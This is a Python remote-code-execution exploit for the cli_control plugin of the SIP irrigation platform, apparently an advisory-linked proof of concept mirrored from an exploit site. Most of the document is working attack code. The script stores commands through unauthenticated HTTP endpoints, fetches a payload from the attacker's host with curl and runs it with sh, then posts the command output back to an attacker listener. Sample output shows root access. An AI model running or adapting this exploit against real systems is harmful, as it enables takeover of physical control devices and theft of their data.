Share
## https://sploitus.com/exploit?id=ZSL-2026-5999
<html><body><p>#!/usr/bin/env python3
#
#
# SIP Sustainable Irrigation Platform 5.x (cli_control) Remote Code Execution
#
#
# Vendor: Dan-in-CA
# Product web page: https://github.com/Dan-in-CA/SIP
# Affected version: 5.2.16
#
# Summary: SIP is a free Raspberry Pi based Python program for
# controlling irrigation systems (sprinkler, drip, hydroponic,
# etc). It uses web technology to provide an intuitive user
# interface (UI) in several languages. The UI can be accessed
# in your favorite browser on desktop, laptop, and mobile devices.
# SIP has also been used to control pumps, lights, and other Irrigation
# related equipment.
#
# Desc: SIP executes user-configured operating-system commands
# when an irrigation station changes state, if the optional cli_control
# plugin is installed and enabled. This can be exploited to run
# arbitrary commands on the affected host by storing a command
# through the plugin's HTTP endpoint and then activating the associated
# station. When the optional passphrase is not enabled (factory
# default) both steps require no authentication, and where the
# passphrase is enabled it defaults to 'opendoor' and the same
# result is reachable through cross-site request forgery.
#
# -------------------------------------------------------------------------
# $ python sip_rce.py 192.168.1.9 192.168.2.33 9000 "id ; uname -a"
# === SIP cli_control RCE PoC :: TARGET=http://192.168.1.9  ATTACKER=192.168.2.33:9000 ===
# [*] cli_control present (/clicj -&gt; HTTP 200)
# [*] con0  = curl http://192.168.2.33:9000/x.sh -o /tmp/.sipx
# [*] coff0 = sh /tmp/.sipx
# [*] serving /x.sh (91 bytes); shell output -&gt; /out
#     1) save (/clicu)             -&gt; HTTP 303 (Location: http://192.168.1.9/restart)
#     2) manual mode (/cv?mm=1)    -&gt; HTTP 303
#     3) station 0 ON (/sn)        -&gt; con0 fires (HTTP 303)
#     3b) station 0 OFF (/sn)      -&gt; coff0 fires (HTTP 303)
#     4) waiting for the timing loop to actuate + run the command(s) ...
#
# [+] RCE successful -- cli_control executed your command(s); inbound on our listener:
#         2026-07-02T23:20:01.194422 GET /x.sh from=192.168.1.9 ua='curl/7.74.0'
#         2026-07-02T23:20:05.411800 POST /out from=192.168.1.9 ua='curl/7.74.0'
#           body[125 bytes]=
#
# uid=0(root) gid=0(root) groups=0(root)
# Linux sip 6.1.21-v8+ #1642 SMP PREEMPT Mon Apr  3 17:24:16 BST 2023 aarch64 GNU/Linux
#
#
# Done.
#
# -------------------------------------------------------------------------
#
# Tested on: Debian GNU/Linux 11 (bullseye) raspberrypi 6.1.21+ (armv6l/aarch64)
#            Python 3.9.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-5999
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5999
#
#
# 24.06.2026
#

from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import http.client
import threading
import datetime
import time
import ssl
import sys

def ban():
    print("""
     .  .  .     .  .  .
   .          .          .
 .              .          .
.                 .          .""")

if len(sys.argv) &lt; 3:
    ban()
    print("usage: python sip_rce.py <target> <attacker> [aport] [command]\n"
          "  <target>         SIP ip/host or ip/host:port (http:// or https:// optional)\n"
          "  <attacker>       ip/host phone home\n"
          "  [aport]          local listener port (default 9000)\n"
          "  [command]        run this with a shell on the target and exfil its output;\n"
          "                   omit for a simple curl canary that just proves execution\n"
          "example:\n"
          "  python sip_rce.py 2.2.2.2:8083 7.7.7.7 9000\n"
          "  python sip_rce.py 2.2.2.2:8083 7.7.7.7 9000 \"id; uname -a; cat /home/pi/SIP/data/sd.json\"")
    sys.exit(1)

TARGET   = sys.argv[1]
ATTACKER = sys.argv[2]
APORT    = int(sys.argv[3]) if len(sys.argv) &gt; 3 else 9000
SHELL    = sys.argv[4] if len(sys.argv) &gt; 4 else None
SCHEME   = "http"
if   TARGET.startswith("https://"): SCHEME, TARGET = "https", TARGET[8:]
elif TARGET.startswith("http://"):  SCHEME, TARGET = "http",  TARGET[7:]
TARGET = TARGET.strip("/")
STATIONS = 16

MARK = "clic-zsl-rce-%d" % int(time.time())
HITS = []
SCRIPT = None

class Handler(BaseHTTPRequestHandler):
    def _go(self, m):
        n = int(self.headers.get("Content-Length", 0) or 0)
        body = self.rfile.read(n).decode("utf-8", "replace") if n else ""
        line = "%s %s %s from=%s ua=%r" % (datetime.datetime.now().isoformat(), m, self.path,
                                           self.client_address[0], self.headers.get("User-Agent", ""))
        if body: # cmd output, oob
            line += "\n          body[%d bytes]=\n\n%s" % (len(body), body[:4000])
        HITS.append(line)
        data = SCRIPT if (m == "GET" and SCRIPT is not None and self.path.split("?")[0] == "/x.sh") else b"ok"
        self.send_response(200); self.send_header("Content-Length", str(len(data))); self.end_headers(); self.wfile.write(data)
    def do_GET(self):  self._go("GET")
    def do_POST(self): self._go("POST")
    def log_message(self, *a): pass

def listen(port):
    try:
        srv = HTTPServer(("0.0.0.0", port), Handler)
    except OSError as e:
        raise SystemExit("[!] cannot bind 0.0.0.0:%d - %s" % (port, e))
    threading.Thread(target=srv.serve_forever, daemon=True).start()

def req(method, path):
    host, _, port = TARGET.partition(":")
    port = int(port) if port else (443 if SCHEME == "https" else 80)
    if SCHEME == "https":
        c = http.client.HTTPSConnection(host, port, timeout=15, context=ssl._create_unverified_context())
    else:
        c = http.client.HTTPConnection(host, port, timeout=15)
    c.request(method, path)
    r = c.getresponse(); body = r.read(); loc = r.getheader("Location", ""); c.close()
    return r.status, loc, body

def main():
    global SCRIPT
    base = "%s://%s" % (SCHEME, TARGET)
    print("=== SIP cli_control RCE PoC :: TARGET=%s  ATTACKER=%s:%d ===" % (base, ATTACKER, APORT))

    # Check cli_control
    s, loc, body = req("GET", "/clicj")
    if s == 404:
        raise SystemExit("[!] /clicj -&gt; 404 : cli_control plugin not installed/enabled on target.")
    if s in (302, 303) and "login" in loc.lower():
        raise SystemExit("[!] /clicj -&gt; redirect to login : a passphrase is set (upas=1). This PoC is unauth case.")
    print("[*] cli_control present (/clicj -&gt; HTTP %d)" % s)

    if SHELL:
        SCRIPT = ("#!/bin/sh\n( %s ) 2&gt;&amp;1 | curl -s --data-binary @- %s://%s:%d/out\n"
                  % (SHELL, SCHEME, ATTACKER, APORT)).encode()
        con0  = "curl %s://%s:%d/x.sh -o /tmp/.sipx" % (SCHEME, ATTACKER, APORT)
        coff0 = "sh /tmp/.sipx"
    else:
        con0  = "curl %s://%s:%d/%s" % (SCHEME, ATTACKER, APORT, MARK)
        coff0 = None

    listen(APORT)
    print("[*] con0  = %s" % con0)
    if coff0:  print("[*] coff0 = %s" % coff0)
    if SCRIPT: print("[*] serving /x.sh (%d bytes); shell output -&gt; /out" % len(SCRIPT))

    params  = ["con0=" + urllib.parse.quote(con0, safe="")]
    params += ["con%d=" % i for i in range(1, STATIONS)]
    params += ["coff0=" + urllib.parse.quote(coff0 or "", safe="")]
    params += ["coff%d=" % i for i in range(1, STATIONS)]
    s, loc, _ = req("GET", "/clicu?" + "&amp;".join(params))
    print("    1) save (/clicu)             -&gt; HTTP %d (Location: %s)" % (s, loc or "-"))
    if s in (302, 303) and "login" in loc.lower():
        raise SystemExit("[!] /clicu redirected to login -&gt; passphrase is set - not unauth.")

    s, _, _ = req("GET", "/cv?mm=1");           print("    2) manual mode (/cv?mm=1)    -&gt; HTTP %d" % s)
    s, _, _ = req("GET", "/sn?sid=1&amp;set_to=1"); print("    3) station 0 ON (/sn)        -&gt; con0 fires (HTTP %d)" % s)
    if coff0:
        time.sleep(3)
        s, _, _ = req("GET", "/sn?sid=1&amp;set_to=0"); print("    3b) station 0 OFF (/sn)      -&gt; coff0 fires (HTTP %d)" % s)

    custom = bool(coff0 or SCRIPT)
    print("    4) waiting for the timing loop to actuate + run the command(s) ...")
    sel = lambda: HITS if custom else [h for h in HITS if MARK in h]
    for _ in range(10):
        time.sleep(1)
        if sel() and not coff0: break
    hits = sel()
    if hits:
        print("\n[+] RCE successful -- cli_control executed your command(s); inbound on our listener:")
        for h in hits: print("        " + h)
    else:
        print("\n[-] no callback to our listener. checklist: %s:%d reachable from target? binaries present "
              "(curl/sh)? station 0 energized (system enabled, not rain-delayed)?" % (ATTACKER, APORT))
    print("\nDone.")

if __name__ == "__main__":
    main()
</attacker></target></attacker></target></p></body></html>